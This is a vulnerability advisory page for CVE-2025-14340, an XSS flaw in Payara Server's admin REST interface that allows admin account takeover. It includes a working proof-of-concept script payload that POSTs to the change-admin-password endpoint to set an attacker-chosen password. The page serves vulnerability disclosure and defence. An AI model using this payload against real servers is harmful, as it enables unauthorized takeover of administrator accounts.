| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2025-14340 | 10 Apr 202621:03 | – | circl | |
| Payara Server 安全漏洞 | 18 Feb 202600:00 | – | cnnvd | |
| CVE-2025-14340 | 18 Feb 202613:39 | – | cve | |
| CVE-2025-14340 Admin Account Takeover via malicious URL payload | 18 Feb 202613:39 | – | cvelist | |
| Payara Server - Cross-Site Scripting | 5 Jun 202603:02 | – | nuclei | |
| CVE-2025-14340 | 18 Feb 202614:16 | – | nvd | |
| PT-2026-20388 | 18 Feb 202600:00 | – | ptsecurity | |
| CVE-2025-14340 | 19 Feb 202619:21 | – | redhatcve | |
| Cross-site Scripting (XSS) | 18 Feb 202615:05 | – | snyk | |
| Cross-site Scripting (XSS) | 18 Feb 202615:05 | – | snyk |
# XSS to Admin account takeover (CVE-2025-14340)
A Cross-Site Scripting vulnerability in Payara’s Administration Rest Interface, allows execution
of attacker-controlled JavaScript leading to admin account take over. Because of:
1. The panel uses HTTP Basic Auth (credentials are sent automatically by the browser for same-origin requests).
2. The change-admin-password endpoint does not require the current password to update a user’s password.
3. The change-admin-password form does not have CSRF protection.
4. An injected script using the XSS in `/management/domain/version` can POST to `/management/domain/change-admin-password` and set an attacker-chosen password for any target account — resulting in administrator account takeover.
#### Proof of Concept
URL:
`https://panel.example.com:4848/management/domain/version?<PAYLOAD>`
PAYLOAD:
```
<script>
fetch('/management/domain/change-admin-password', {
method: 'POST',
headers: {
'X-Requested-By': 'GlassFish REST HTML interface',
'Accept': 'text/html',
'Content-Type': 'application/x-www-form-urlencoded'
},
body:
'id=admin&newpassword=P1234&password=P1234&__remove_empty_entries__=true&=chang
e-admin-password'
});
</script>
```
## Legal
AUTHORIZED USE ONLY. DeepSecurity Perú does not endorse unauthorized access and takes no responsibility for any misuse of the information provided.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation